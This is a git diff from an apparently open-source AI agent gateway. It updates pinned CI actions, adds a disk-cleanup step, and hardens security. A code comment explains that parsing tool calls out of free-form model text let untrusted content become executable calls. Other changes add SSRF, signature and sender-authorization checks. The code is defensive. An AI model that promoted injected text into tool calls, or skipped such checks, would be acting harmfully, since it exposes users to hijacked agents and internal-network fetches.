diff --git a/.github/workflows/contributor-check.yml b/.github/workflows/contributor-check.yml
index 38a14ceea294..b081d5162f2a 100644
--- a/.github/workflows/contributor-check.yml
+++ b/.github/workflows/contributor-check.yml
@@ -16,7 +16,7 @@ jobs:
check-attribution:
runs-on: ubuntu-latest
steps:
- - uses: actions/checkout@08c6903cd8c0fde910a37f88322edcfb5dd907a8 # v5
+ - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v5
with:
fetch-depth: 0 # Full history needed for git log
diff --git a/.github/workflows/deploy-site.yml b/.github/workflows/deploy-site.yml
index ed636646d548..1fd11c00272f 100644
--- a/.github/workflows/deploy-site.yml
+++ b/.github/workflows/deploy-site.yml
@@ -35,7 +35,7 @@ jobs:
name: github-pages
url: ${{ steps.deploy.outputs.page_url }}
steps:
- - uses: actions/checkout@08c6903cd8c0fde910a37f88322edcfb5dd907a8 # v5
+ - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v5
- uses: actions/setup-node@48b55a011bda9f5d6aeb4c2d9c7362e8dae4041e # v6
with:
@@ -88,7 +88,7 @@ jobs:
fi
- name: Upload artifact
- uses: actions/upload-pages-artifact@56afc609e74202658d3ffba0e8f6dda462b719fa # v3
+ uses: actions/upload-pages-artifact@fc324d3547104276b827a68afc52ff2a11cc49c9 # v5.0.0
with:
path: _site
diff --git a/.github/workflows/docker-publish.yml b/.github/workflows/docker-publish.yml
index 54aab9be4690..3a7209facd29 100644
--- a/.github/workflows/docker-publish.yml
+++ b/.github/workflows/docker-publish.yml
@@ -58,6 +58,18 @@ jobs:
with:
submodules: recursive
+ # The image bundles a large Python venv (ctranslate2, torch, etc.) and
+ # `load: true` imports the whole thing into the local daemon, which can
+ # exhaust the runner's ~14 GB free disk and fail with "no space left on
+ # device". Reclaim space from preinstalled toolchains we don't use.
+ - name: Free up disk space
+ run: |
+ sudo rm -rf /usr/share/dotnet /opt/ghc /usr/local/lib/android \
+ /usr/local/share/boost /usr/local/lib/node_modules \
+ "${AGENT_TOOLSDIRECTORY:-/opt/hostedtoolcache}" || true
+ sudo docker image prune --all --force || true
+ df -h
+
- name: Set up Docker Buildx
uses: docker/setup-buildx-action@4d04d5d9486b7bd6fa91e7baf45bbb4f8b9deedd # v4
@@ -146,6 +158,16 @@ jobs:
with:
submodules: recursive
+ # See build-amd64: free space before `load: true` imports the large
+ # venv-bearing image into the local daemon.
+ - name: Free up disk space
+ run: |
+ sudo rm -rf /usr/share/dotnet /opt/ghc /usr/local/lib/android \
+ /usr/local/share/boost /usr/local/lib/node_modules \
+ "${AGENT_TOOLSDIRECTORY:-/opt/hostedtoolcache}" || true
+ sudo docker image prune --all --force || true
+ df -h
+
- name: Set up Docker Buildx
uses: docker/setup-buildx-action@4d04d5d9486b7bd6fa91e7baf45bbb4f8b9deedd # v4
diff --git a/.github/workflows/docs-site-checks.yml b/.github/workflows/docs-site-checks.yml
index 8dfdd1282718..cdf72bb74732 100644
--- a/.github/workflows/docs-site-checks.yml
+++ b/.github/workflows/docs-site-checks.yml
@@ -14,7 +14,7 @@ jobs:
docs-site-checks:
runs-on: ubuntu-latest
steps:
- - uses: actions/checkout@08c6903cd8c0fde910a37f88322edcfb5dd907a8 # v5
+ - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v5
- uses: actions/setup-node@48b55a011bda9f5d6aeb4c2d9c7362e8dae4041e # v6
with:
diff --git a/.github/workflows/lint.yml b/.github/workflows/lint.yml
index 2cef18e373a4..2fbead47513d 100644
--- a/.github/workflows/lint.yml
+++ b/.github/workflows/lint.yml
@@ -37,7 +37,7 @@ jobs:
timeout-minutes: 10
steps:
- name: Checkout code
- uses: actions/checkout@08c6903cd8c0fde910a37f88322edcfb5dd907a8 # v5
+ uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v5
with:
fetch-depth: 0 # need full history for merge-base + worktree
@@ -124,7 +124,7 @@ jobs:
- name: Post / update PR comment
if: github.event_name == 'pull_request' && github.event.pull_request.head.repo.full_name == github.repository
continue-on-error: true
- uses: actions/github-script@d746ffe35508b1917358783b479e04febd2b8f71 # v9
+ uses: actions/github-script@3a2844b7e9c422d3c10d287c895573f7108da1b3 # v9
with:
script: |
const fs = require('fs');
@@ -167,7 +167,7 @@ jobs:
timeout-minutes: 5
steps:
- name: Checkout code
- uses: actions/checkout@08c6903cd8c0fde910a37f88322edcfb5dd907a8 # v5
+ uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v5
- name: Install uv
uses: astral-sh/setup-uv@08807647e7069bb48b6ef5acd8ec9567f424441b # v8
@@ -191,7 +191,7 @@ jobs:
timeout-minutes: 5
steps:
- name: Checkout code
- uses: actions/checkout@08c6903cd8c0fde910a37f88322edcfb5dd907a8 # v5
+ uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v5
- name: Set up Python
uses: actions/setup-python@a309ff8b426b58ec0e2a45f0f869d46889d02405 # v6
diff --git a/.github/workflows/nix-lockfile-fix.yml b/.github/workflows/nix-lockfile-fix.yml
index 30247d74c0f2..f3bd29fe4716 100644
--- a/.github/workflows/nix-lockfile-fix.yml
+++ b/.github/workflows/nix-lockfile-fix.yml
@@ -119,7 +119,7 @@ jobs:
echo "::error::Failed to push after 3 rebase attempts"
exit 1
- # ── PR fix (manual dispatch) ─────────────────────────────────────
+ # ── PR fix (manual dispatch) ───────────────────────────────────────
fix:
if: github.event_name == 'workflow_dispatch'
runs-on: ubuntu-latest
@@ -130,8 +130,7 @@ jobs:
uses: actions/github-script@d746ffe35508b1917358783b479e04febd2b8f71 # v9
with:
script: |
- // 1. Verify the actor has write access — applies to both checkbox
- // clicks and manual dispatch.
+ // 1. Verify the actor has write access for manual dispatch.
const { data: perm } =
await github.rest.repos.getCollaboratorPermissionLevel({
owner: context.repo.owner,
diff --git a/.github/workflows/skills-index.yml b/.github/workflows/skills-index.yml
index a52c149c2ac7..b42d68794f6c 100644
--- a/.github/workflows/skills-index.yml
+++ b/.github/workflows/skills-index.yml
@@ -20,7 +20,7 @@ jobs:
if: github.repository == 'NousResearch/hermes-agent'
runs-on: ubuntu-latest
steps:
- - uses: actions/checkout@08c6903cd8c0fde910a37f88322edcfb5dd907a8 # v5
+ - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v5
- uses: actions/setup-python@a309ff8b426b58ec0e2a45f0f869d46889d02405 # v6
with:
@@ -53,7 +53,7 @@ jobs:
# Only deploy on schedule or manual trigger (not on every push to the script)
if: github.event_name == 'schedule' || github.event_name == 'workflow_dispatch'
steps:
- - uses: actions/checkout@08c6903cd8c0fde910a37f88322edcfb5dd907a8 # v5
+ - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v5
- uses: actions/download-artifact@3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c # v8
with:
@@ -92,7 +92,7 @@ jobs:
echo "hermes-agent.nousresearch.com" > _site/CNAME
- name: Upload artifact
- uses: actions/upload-pages-artifact@56afc609e74202658d3ffba0e8f6dda462b719fa # v3
+ uses: actions/upload-pages-artifact@fc324d3547104276b827a68afc52ff2a11cc49c9 # v5.0.0
with:
path: _site
diff --git a/.github/workflows/supply-chain-audit.yml b/.github/workflows/supply-chain-audit.yml
index 1bb5b14292d3..8722e1ed71c1 100644
--- a/.github/workflows/supply-chain-audit.yml
+++ b/.github/workflows/supply-chain-audit.yml
@@ -31,7 +31,7 @@ jobs:
runs-on: ubuntu-latest
steps:
- name: Checkout
- uses: actions/checkout@08c6903cd8c0fde910a37f88322edcfb5dd907a8 # v5
+ uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v5
with:
fetch-depth: 0
diff --git a/.github/workflows/uv-lockfile-check.yml b/.github/workflows/uv-lockfile-check.yml
index 9175a50d56e8..81e1ef932ef0 100644
--- a/.github/workflows/uv-lockfile-check.yml
+++ b/.github/workflows/uv-lockfile-check.yml
@@ -71,7 +71,7 @@ jobs:
timeout-minutes: 5
steps:
- name: Checkout code
- uses: actions/checkout@08c6903cd8c0fde910a37f88322edcfb5dd907a8 # v5
+ uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v5
- name: Install uv
uses: astral-sh/setup-uv@08807647e7069bb48b6ef5acd8ec9567f424441b # v8
diff --git a/.jules/bolt.md b/.jules/bolt.md
new file mode 100644
index 000000000000..8fdbade873d5
--- /dev/null
+++ b/.jules/bolt.md
@@ -0,0 +1,13 @@
+## Optimization: Bulk Task Link Insertion in kanban_db.py
+
+**Date**: 2026-06-01
+**File**: `hermes_cli/kanban_db.py` (`create_task()`)
+
+### What
+Replaced a `for` loop executing individual `INSERT OR IGNORE` queries with a single `conn.executemany` call for inserting task links (parent-child relationships).
+
+### Why
+The `for` loop caused an N+1 query issue. By using `executemany`, the SQLite engine can process all insertions efficiently in a single batch, reducing overhead.
+
+### Expected Performance Impact
+Measured improvement: Creation time for a task with 10,000 parents decreased from ~0.1575s to ~0.1344s (~15% speedup).
diff --git a/agent/copilot_acp_client.py b/agent/copilot_acp_client.py
index 3643837bf5b2..925d189c59ce 100644
--- a/agent/copilot_acp_client.py
+++ b/agent/copilot_acp_client.py
@@ -11,7 +11,6 @@
import json
import os
import queue
-import re
import shlex
import subprocess
import threading
@@ -27,8 +26,6 @@
ACP_MARKER_BASE_URL = "acp://copilot"
_DEFAULT_TIMEOUT_SECONDS = 900.0
-_TOOL_CALL_BLOCK_RE = re.compile(r"\s*(\{.*?\})\s*", re.DOTALL)
-_TOOL_CALL_JSON_RE = re.compile(r"\{\s*\"id\"\s*:\s*\"[^\"]+\"\s*,\s*\"type\"\s*:\s*\"function\"\s*,\s*\"function\"\s*:\s*\{.*?\}\s*\}", re.DOTALL)
def _resolve_command() -> str:
@@ -210,76 +207,12 @@ def _render_message_content(content: Any) -> str:
def _extract_tool_calls_from_text(text: str) -> tuple[list[SimpleNamespace], str]:
- if not isinstance(text, str) or not text.strip():
+ if not isinstance(text, str):
return [], ""
-
- extracted: list[SimpleNamespace] = []
- consumed_spans: list[tuple[int, int]] = []
-
- def _try_add_tool_call(raw_json: str) -> None:
- try:
- obj = json.loads(raw_json)
- except Exception:
- return
- if not isinstance(obj, dict):
- return
- fn = obj.get("function")
- if not isinstance(fn, dict):
- return
- fn_name = fn.get("name")
- if not isinstance(fn_name, str) or not fn_name.strip():
- return
- fn_args = fn.get("arguments", "{}")
- if not isinstance(fn_args, str):
- fn_args = json.dumps(fn_args, ensure_ascii=False)
- call_id = obj.get("id")
- if not isinstance(call_id, str) or not call_id.strip():
- call_id = f"acp_call_{len(extracted)+1}"
-
- extracted.append(
- SimpleNamespace(
- id=call_id,
- call_id=call_id,
- response_item_id=None,
- type="function",
- function=SimpleNamespace(name=fn_name.strip(), arguments=fn_args),
- )
- )
-
- for m in _TOOL_CALL_BLOCK_RE.finditer(text):
- raw = m.group(1)
- _try_add_tool_call(raw)
- consumed_spans.append((m.start(), m.end()))
-
- # Only try bare-JSON fallback when no XML blocks were found.
- if not extracted:
- for m in _TOOL_CALL_JSON_RE.finditer(text):
- raw = m.group(0)
- _try_add_tool_call(raw)
- consumed_spans.append((m.start(), m.end()))
-
- if not consumed_spans:
- return extracted, text.strip()
-
- consumed_spans.sort()
- merged: list[tuple[int, int]] = []
- for start, end in consumed_spans:
- if not merged or start > merged[-1][1]:
- merged.append((start, end))
- else:
- merged[-1] = (merged[-1][0], max(merged[-1][1], end))
-
- parts: list[str] = []
- cursor = 0
- for start, end in merged:
- if cursor < start:
- parts.append(text[cursor:start])
- cursor = max(cursor, end)
- if cursor < len(text):
- parts.append(text[cursor:])
-
- cleaned = "\n".join(p.strip() for p in parts if p and p.strip()).strip()
- return extracted, cleaned
+ # ACP currently provides only free-form assistant text. Treating text as a
+ # trusted tool-call transport is unsafe because quoted/untrusted content can
+ # be promoted into executable tool calls.
+ return [], text
diff --git a/gateway/platforms/api_server.py b/gateway/platforms/api_server.py
index 611bc85dce96..f472738ab9a6 100644
--- a/gateway/platforms/api_server.py
+++ b/gateway/platforms/api_server.py
@@ -63,6 +63,19 @@
MAX_CONTENT_LIST_SIZE = 1_000 # Max items when content is an array
+def _constant_time_equal(left: Optional[str], right: Optional[str]) -> bool:
+ """Compare text secrets without rejecting non-ASCII values.
+
+ ``hmac.compare_digest`` raises ``TypeError`` when either side contains
+ non-ASCII characters; encode both as UTF-8 first so unicode API keys
+ are compared safely in constant time. A ``None`` on either side returns
+ ``False`` so callers that pass an unconfigured key don't crash.
+ """
+ if left is None or right is None:
+ return False
+ return hmac.compare_digest(left.encode("utf-8"), right.encode("utf-8"))
+
+
def _coerce_port(value: Any, default: int = DEFAULT_PORT) -> int:
"""Parse a listen port without letting malformed env/config values crash startup."""
try:
@@ -219,7 +232,13 @@ def _normalize_multimodal_content(content: Any) -> Any:
"unsupported_content_type:Only image data URLs are supported. "
"Non-image data payloads are not supported."
)
- elif not (lowered.startswith("http://") or lowered.startswith("https://")):
+ elif lowered.startswith("http://") or lowered.startswith("https://"):
+ from tools.url_safety import is_safe_url
+ if not is_safe_url(url_value):
+ raise ValueError(
+ "invalid_image_url:Image URLs must not target private or internal network addresses."
+ )
+ else:
raise ValueError(
"invalid_image_url:Image inputs must use http(s) URLs or data:image/... URLs."
)
@@ -720,7 +739,7 @@ def _check_auth(self, request: "web.Request") -> Optional["web.Response"]:
auth_header = request.headers.get("Authorization", "")
if auth_header.startswith("Bearer "):
token = auth_header[7:].strip()
- if hmac.compare_digest(token, self._api_key):
+ if _constant_time_equal(token, self._api_key):
return None # Auth OK
return web.json_response(
@@ -1081,12 +1100,29 @@ async def _handle_chat_completions(self, request: "web.Request") -> "web.Respons
stream = body.get("stream", False)
- proxy_scope = body.get("hermes_proxy_scope")
origin_platform = None
enabled_toolsets_override = None
- if proxy_scope is not None:
+ if "hermes_proxy_scope" in body:
+ from gateway.proxy_scope_auth import (
+ PROXY_SCOPE_SIGNATURE_HEADER,
+ PROXY_SCOPE_TIMESTAMP_HEADER,
+ get_proxy_scope_key,
+ verify_proxy_scope_signature,
+ )
+
+ proxy_scope = body["hermes_proxy_scope"]
if not isinstance(proxy_scope, dict):
return web.json_response(_openai_error("Invalid hermes_proxy_scope"), status=400)
+ if not verify_proxy_scope_signature(
+ proxy_scope,
+ get_proxy_scope_key(),
+ request.headers.get(PROXY_SCOPE_TIMESTAMP_HEADER),
+ request.headers.get(PROXY_SCOPE_SIGNATURE_HEADER),
+ ):
+ return web.json_response(
+ _openai_error("hermes_proxy_scope requires trusted gateway proxy authentication"),
+ status=403,
+ )
raw_platform = proxy_scope.get("origin_platform")
if raw_platform is not None:
origin_platform = str(raw_platform).strip()
@@ -1863,18 +1899,27 @@ async def _dispatch(it) -> None:
_batch_buf: List[str] = []
_batch_timer: Optional[asyncio.Task] = None
_batch_lock = asyncio.Lock()
+ _batch_error: Optional[BaseException] = None
+ _batch_error_sentinel = object()
async def _batch_flush_after(delay: float) -> None:
"""Wait delay seconds, then flush accumulated text deltas."""
+ nonlocal _batch_error, _batch_timer
try:
await asyncio.sleep(delay)
+ # Clear timer reference BEFORE flush so new deltas
+ # can start a fresh timer while we emit
+ _batch_timer = None
+ await _flush_batch()
except asyncio.CancelledError:
return
- # Clear timer reference BEFORE flush so new deltas
- # can start a fresh timer while we emit
- nonlocal _batch_buf, _batch_timer
- _batch_timer = None
- await _flush_batch()
+ except Exception as exc:
+ # Surface a flush failure (typically a client disconnect)
+ # to the main loop so it can interrupt the agent instead
+ # of waiting forever on the queue.
+ _batch_timer = None
+ _batch_error = exc
+ stream_q.put(_batch_error_sentinel)
async def _flush_batch() -> None:
"""Emit a single SSE delta for all accumulated text."""
@@ -1895,6 +1940,10 @@ async def _flush_batch() -> None:
while True:
try:
item = stream_q.get_nowait()
+ if item is _batch_error_sentinel:
+ if _batch_error is not None:
+ raise _batch_error
+ break
if item is None:
break
await _dispatch(item)
@@ -1907,6 +1956,11 @@ async def _flush_batch() -> None:
last_activity = time.monotonic()
continue
+ if item is _batch_error_sentinel:
+ if _batch_error is not None:
+ raise _batch_error
+ break
+
if item is None: # EOS sentinel
# Cancel pending timer and flush remaining batched text
if _batch_timer and not _batch_timer.done():
diff --git a/gateway/platforms/msgraph_webhook.py b/gateway/platforms/msgraph_webhook.py
index dff13f0f8e65..2ef76577dda8 100644
--- a/gateway/platforms/msgraph_webhook.py
+++ b/gateway/platforms/msgraph_webhook.py
@@ -8,7 +8,6 @@
import json
import logging
from collections import deque
-from hashlib import sha1
from typing import Any, Awaitable, Callable, Dict, Optional
try:
@@ -336,7 +335,7 @@ def _build_message_event(
notification: Dict[str, Any],
receipt_key: Optional[str],
) -> MessageEvent:
- message_id = receipt_key or f"sha1:{sha1(json.dumps(notification, sort_keys=True).encode('utf-8')).hexdigest()}"
+ message_id = receipt_key or ""
source = self.build_source(
chat_id=f"msgraph:{notification.get('subscriptionId', 'unknown')}",
chat_name="msgraph/webhook",
diff --git a/gateway/platforms/qqbot/adapter.py b/gateway/platforms/qqbot/adapter.py
index 38e58ffc46e9..52847764b2d1 100644
--- a/gateway/platforms/qqbot/adapter.py
+++ b/gateway/platforms/qqbot/adapter.py
@@ -225,6 +225,10 @@ def __init__(self, config: PlatformConfig):
# Upload cache: content_hash -> {file_info, file_uuid, expires_at}
self._upload_cache: Dict[str, Dict[str, Any]] = {}
+ # Throttle the "gateway runner not attached" warning so a missing wire-up
+ # doesn't spam logs on every inbound attachment.
+ self._warned_no_runner: bool = False
+
# Inline-keyboard interaction routing. The callback (if set) is invoked
# for every INTERACTION_CREATE event after the adapter has already
# ACKed it. Callers (gateway wiring for approvals / update prompts)
@@ -1115,6 +1119,63 @@ def _write_update_response(answer: str, operator: str = "") -> None:
except Exception as exc:
logger.error("Failed to write update response: %s", exc)
+ def _is_source_authorized_for_attachment_processing(self, source) -> bool:
+ """Check gateway authorization before attachment network I/O.
+
+ QQ attachment URLs are HTTPS endpoints that the agent must download
+ before they can be sent to the model. An unauthorized sender could
+ otherwise force the bot to fetch arbitrary external content (SSRF
+ amplification, large-file DoS, attacker-controlled redirects). Gate
+ every attachment-processing path on the gateway's user-allowlist
+ check, and fail closed when the runner isn't wired up yet.
+ """
+ runner = getattr(self, "gateway_runner", None)
+ auth_fn = getattr(runner, "_is_user_authorized", None)
+ if not callable(auth_fn):
+ if not self._warned_no_runner:
+ logger.warning(
+ "[%s] Blocking QQ attachment processing before gateway authorization: "
+ "gateway runner is not attached",
+ self._log_tag,
+ )
+ self._warned_no_runner = True
+ else:
+ logger.debug(
+ "[%s] Blocking QQ attachment processing: gateway runner still not attached",
+ self._log_tag,
+ )
+ return False
+ try:
+ return bool(auth_fn(source))
+ except Exception as exc:
+ logger.warning(
+ "[%s] Blocking QQ attachment processing after authorization check failed: %s",
+ self._log_tag,
+ exc,
+ )
+ return False
+
+ async def _forward_message_without_attachments(
+ self,
+ *,
+ source,
+ text: str,
+ raw_message: Dict[str, Any],
+ message_id: str,
+ timestamp: str,
+ ) -> None:
+ """Forward text-only metadata so gateway auth can reject or pair safely."""
+ await self.handle_message(MessageEvent(
+ source=source,
+ text=text,
+ message_type=MessageType.TEXT,
+ raw_message=raw_message,
+ message_id=message_id,
+ media_urls=[],
+ media_types=[],
+ timestamp=self._parse_qq_timestamp(timestamp),
+ ))
+
async def _handle_c2c_message(
self,
d: Dict[str, Any],
@@ -1131,6 +1192,11 @@ async def _handle_c2c_message(
return
text = content
+ source = self.build_source(
+ chat_id=user_openid,
+ user_id=user_openid,
+ chat_type="dm",
+ )
attachments_raw = d.get("attachments")
logger.info(
"[%s] C2C message: id=%s content=%r attachments=%s",
@@ -1155,6 +1221,20 @@ async def _handle_c2c_message(
_att.get("filename", ""),
)
+ if (
+ isinstance(attachments_raw, list)
+ and attachments_raw
+ and not self._is_source_authorized_for_attachment_processing(source)
+ ):
+ await self._forward_message_without_attachments(
+ source=source,
+ text=text,
+ raw_message=d,
+ message_id=msg_id,
+ timestamp=timestamp,
+ )
+ return
+
# Process all attachments uniformly (images, voice, files)
att_result = await self._process_attachments(attachments_raw)
image_urls = att_result["image_urls"]
@@ -1195,11 +1275,7 @@ async def _handle_c2c_message(
self._chat_type_map[user_openid] = "c2c"
event = MessageEvent(
- source=self.build_source(
- chat_id=user_openid,
- user_id=user_openid,
- chat_type="dm",
- ),
+ source=source,
text=text,
message_type=self._detect_message_type(image_urls, image_media_types),
raw_message=d,
@@ -1229,7 +1305,26 @@ async def _handle_group_message(
# Strip the @bot mention prefix from content
text = self._strip_at_mention(content)
- att_result = await self._process_attachments(d.get("attachments"))
+ source = self.build_source(
+ chat_id=group_openid,
+ user_id=str(author.get("member_openid", "")),
+ chat_type="group",
+ )
+ attachments_raw = d.get("attachments")
+ if (
+ isinstance(attachments_raw, list)
+ and attachments_raw
+ and not self._is_source_authorized_for_attachment_processing(source)
+ ):
+ await self._forward_message_without_attachments(
+ source=source,
+ text=text,
+ raw_message=d,
+ message_id=msg_id,
+ timestamp=timestamp,
+ )
+ return
+ att_result = await self._process_attachments(attachments_raw)
image_urls = att_result["image_urls"]
image_media_types = att_result["image_media_types"]
voice_transcripts = att_result["voice_transcripts"]
@@ -1260,11 +1355,7 @@ async def _handle_group_message(
self._chat_type_map[group_openid] = "group"
event = MessageEvent(
- source=self.build_source(
- chat_id=group_openid,
- user_id=str(author.get("member_openid", "")),
- chat_type="group",
- ),
+ source=source,
text=text,
message_type=self._detect_message_type(image_urls, image_media_types),
raw_message=d,
@@ -1302,9 +1393,29 @@ async def _handle_guild_message(
member = d.get("member") if isinstance(d.get("member"), dict) else {}
nick = str(member.get("nick", "")) or str(author.get("username", ""))
+ source = self.build_source(
+ chat_id=channel_id,
+ user_id=str(author.get("id", "")),
+ user_name=nick or None,
+ chat_type="group",
+ )
text = content
- att_result = await self._process_attachments(d.get("attachments"))
+ attachments_raw = d.get("attachments")
+ if (
+ isinstance(attachments_raw, list)
+ and attachments_raw
+ and not self._is_source_authorized_for_attachment_processing(source)
+ ):
+ await self._forward_message_without_attachments(
+ source=source,
+ text=text,
+ raw_message=d,
+ message_id=msg_id,
+ timestamp=timestamp,
+ )
+ return
+ att_result = await self._process_attachments(attachments_raw)
image_urls = att_result["image_urls"]
image_media_types = att_result["image_media_types"]
voice_transcripts = att_result["voice_transcripts"]
@@ -1334,12 +1445,7 @@ async def _handle_guild_message(
self._chat_type_map[channel_id] = "guild"
event = MessageEvent(
- source=self.build_source(
- chat_id=channel_id,
- user_id=str(author.get("id", "")),
- user_name=nick or None,
- chat_type="group",
- ),
+ source=source,
text=text,
message_type=self._detect_message_type(image_urls, image_media_types),
raw_message=d,
@@ -1375,7 +1481,26 @@ async def _handle_dm_message(
return
text = content
- att_result = await self._process_attachments(d.get("attachments"))
+ source = self.build_source(
+ chat_id=guild_id,
+ user_id=str(author.get("id", "")),
+ chat_type="dm",
+ )
+ attachments_raw = d.get("attachments")
+ if (
+ isinstance(attachments_raw, list)
+ and attachments_raw
+ and not self._is_source_authorized_for_attachment_processing(source)
+ ):
+ await self._forward_message_without_attachments(
+ source=source,
+ text=text,
+ raw_message=d,
+ message_id=msg_id,
+ timestamp=timestamp,
+ )
+ return
+ att_result = await self._process_attachments(attachments_raw)
image_urls = att_result["image_urls"]
image_media_types = att_result["image_media_types"]
voice_transcripts = att_result["voice_transcripts"]
@@ -1405,11 +1530,7 @@ async def _handle_dm_message(
self._chat_type_map[guild_id] = "dm"
event = MessageEvent(
- source=self.build_source(
- chat_id=guild_id,
- user_id=str(author.get("id", "")),
- chat_type="dm",
- ),
+ source=source,
text=text,
message_type=self._detect_message_type(image_urls, image_media_types),
raw_message=d,
diff --git a/gateway/platforms/signal.py b/gateway/platforms/signal.py
index 74a35c65389f..453c87e1d37c 100644
--- a/gateway/platforms/signal.py
+++ b/gateway/platforms/signal.py
@@ -21,7 +21,11 @@
import uuid
from datetime import datetime, timezone
from pathlib import Path
-from typing import Any, Dict, List, Optional, Tuple
+from typing import TYPE_CHECKING, Any, Dict, List, Optional, Tuple
+
+if TYPE_CHECKING:
+ from gateway.run import GatewayRunner
+
from urllib.parse import quote, unquote
import httpx
@@ -243,6 +247,10 @@ def __init__(self, config: PlatformConfig):
self._recipient_number_by_uuid: Dict[str, str] = {}
self._recipient_cache_lock = asyncio.Lock()
+ # Set by GatewayRunner after instantiation so reaction hooks can
+ # consult the runner's authorization decision before emitting reactions.
+ self.gateway_runner: Optional["GatewayRunner"] = None
+
logger.info(
"Signal adapter initialized: url=%s account=%s groups=%s",
self.http_url,
@@ -1565,16 +1573,29 @@ def _extract_reaction_target(self, event: MessageEvent) -> Optional[tuple]:
def _reactions_enabled(self, event: "MessageEvent" = None) -> bool:
"""Check if message reactions are enabled for this event.
- Two gates:
- 1. SIGNAL_REACTIONS env var — set to false/0/no to disable globally.
- 2. DM allowlist — if SIGNAL_ALLOWED_USERS is set, only react to
- messages from senders in that list. This prevents unauthorized
- contacts from seeing the 👀 reaction (which fires before run.py's
- auth gate and would otherwise reveal that a bot is listening).
+ Gates are evaluated in the following order:
+
+ 1. ``SIGNAL_REACTIONS`` env-var — when set to ``false``/``0``/``no``
+ all reactions are globally disabled regardless of sender.
+ 2. Gateway runner authorization (when the adapter is wired to a runner)
+ — mirrors the runner's full ``_is_user_authorized()`` decision.
+ Fails closed (returns ``False``) on exceptions. When the runner
+ gate fires, the DM-allowlist fallback (step 3) is **skipped**.
+ 3. DM allowlist fallback — when no runner is attached, compares the
+ sender's ``user_id`` against ``self.dm_allow_from``; a ``"*"``
+ entry allows all users.
"""
if os.getenv("SIGNAL_REACTIONS", "true").lower() in {"false", "0", "no"}:
return False
if event is not None:
+ auth_fn = getattr(getattr(self, "gateway_runner", None), "_is_user_authorized", None)
+ if callable(auth_fn):
+ try:
+ return bool(auth_fn(event.source))
+ except Exception as e:
+ logger.warning("Signal: reaction auth check failed: %s", e)
+ return False
+
sender = getattr(getattr(event, "source", None), "user_id", None)
if (
sender
diff --git a/gateway/platforms/telegram.py b/gateway/platforms/telegram.py
index f71e2ab2635f..13e58ba01290 100644
--- a/gateway/platforms/telegram.py
+++ b/gateway/platforms/telegram.py
@@ -73,6 +73,7 @@ class _MockContextTypes:
cache_audio_from_bytes,
cache_video_from_bytes,
cache_document_from_bytes,
+ resolve_channel_prompt,
resolve_proxy_url,
SUPPORTED_VIDEO_TYPES,
SUPPORTED_DOCUMENT_TYPES,
@@ -326,6 +327,18 @@ def message_len_fn(self):
"""Telegram measures message length in UTF-16 code units."""
return utf16_len
+ def _resolve_channel_prompt(
+ self,
+ chat_id: str,
+ thread_id: str | None = None,
+ ) -> str | None:
+ """Resolve Telegram prompts with forum topics scoped to their chat."""
+ chat_id_str = str(chat_id)
+ if thread_id:
+ topic_key = f"{chat_id_str}:{thread_id}"
+ return resolve_channel_prompt(self.config.extra, topic_key, chat_id_str)
+ return resolve_channel_prompt(self.config.extra, chat_id_str)
+
def __init__(self, config: PlatformConfig):
super().__init__(config, Platform.TELEGRAM)
self._app: Optional[Application] = None
@@ -4491,13 +4504,7 @@ def _build_message_event(
)
# Per-channel/topic ephemeral prompt
- from gateway.platforms.base import resolve_channel_prompt
- _chat_id_str = str(chat.id)
- _channel_prompt = resolve_channel_prompt(
- self.config.extra,
- thread_id_str or _chat_id_str,
- _chat_id_str if thread_id_str else None,
- )
+ _channel_prompt = self._resolve_channel_prompt(str(chat.id), thread_id_str)
return MessageEvent(
text=message.text or "",
diff --git a/gateway/platforms/webhook.py b/gateway/platforms/webhook.py
index 83aa93e94cb3..b1048420ea91 100644
--- a/gateway/platforms/webhook.py
+++ b/gateway/platforms/webhook.py
@@ -59,6 +59,19 @@
_INSECURE_NO_AUTH = "INSECURE_NO_AUTH"
_DYNAMIC_ROUTES_FILENAME = "webhook_subscriptions.json"
+_UNRESOLVED_PLACEHOLDER_RE = re.compile(r"^\$\{[A-Za-z_][A-Za-z0-9_]*\}$")
+
+
+def _looks_unresolved_secret(secret: str) -> bool:
+ """True when ``secret`` is an unresolved ``${VAR}`` placeholder.
+
+ A misconfigured deployment may leave the literal ``${WEBHOOK_SECRET}``
+ string in config when the env var is missing. Treating that as a real
+ HMAC secret silently weakens auth — any attacker who can guess the
+ placeholder name can forge a valid signature. Reject it explicitly.
+ """
+ return bool(_UNRESOLVED_PLACEHOLDER_RE.fullmatch((secret or "").strip()))
+
# Hostnames/IP literals that only serve connections originating on the same
# machine. Anything else is treated as a public bind for safety-rail purposes.
_LOOPBACK_HOSTS = frozenset({
@@ -590,6 +603,12 @@ def _validate_signature(
self, request: "web.Request", body: bytes, secret: str
) -> bool:
"""Validate webhook signature (GitHub, GitLab, generic HMAC-SHA256)."""
+ if _looks_unresolved_secret(secret):
+ logger.warning(
+ "[webhook] Unresolved placeholder secret configured (e.g. ${WEBHOOK_SECRET}) — rejecting"
+ )
+ return False
+
# GitHub: X-Hub-Signature-256 = sha256=
gh_sig = request.headers.get("X-Hub-Signature-256", "")
if gh_sig:
diff --git a/gateway/proxy_scope_auth.py b/gateway/proxy_scope_auth.py
new file mode 100644
index 000000000000..8ee192a896f0
--- /dev/null
+++ b/gateway/proxy_scope_auth.py
@@ -0,0 +1,68 @@
+"""Authentication helpers for trusted gateway proxy scope forwarding."""
+
+from __future__ import annotations
+
+import hashlib
+import hmac
+import json
+import os
+import time
+from typing import Any, Mapping
+
+PROXY_SCOPE_KEY_ENV = "GATEWAY_PROXY_SCOPE_KEY"
+PROXY_SCOPE_SIGNATURE_HEADER = "X-Hermes-Proxy-Scope-Signature"
+PROXY_SCOPE_TIMESTAMP_HEADER = "X-Hermes-Proxy-Scope-Timestamp"
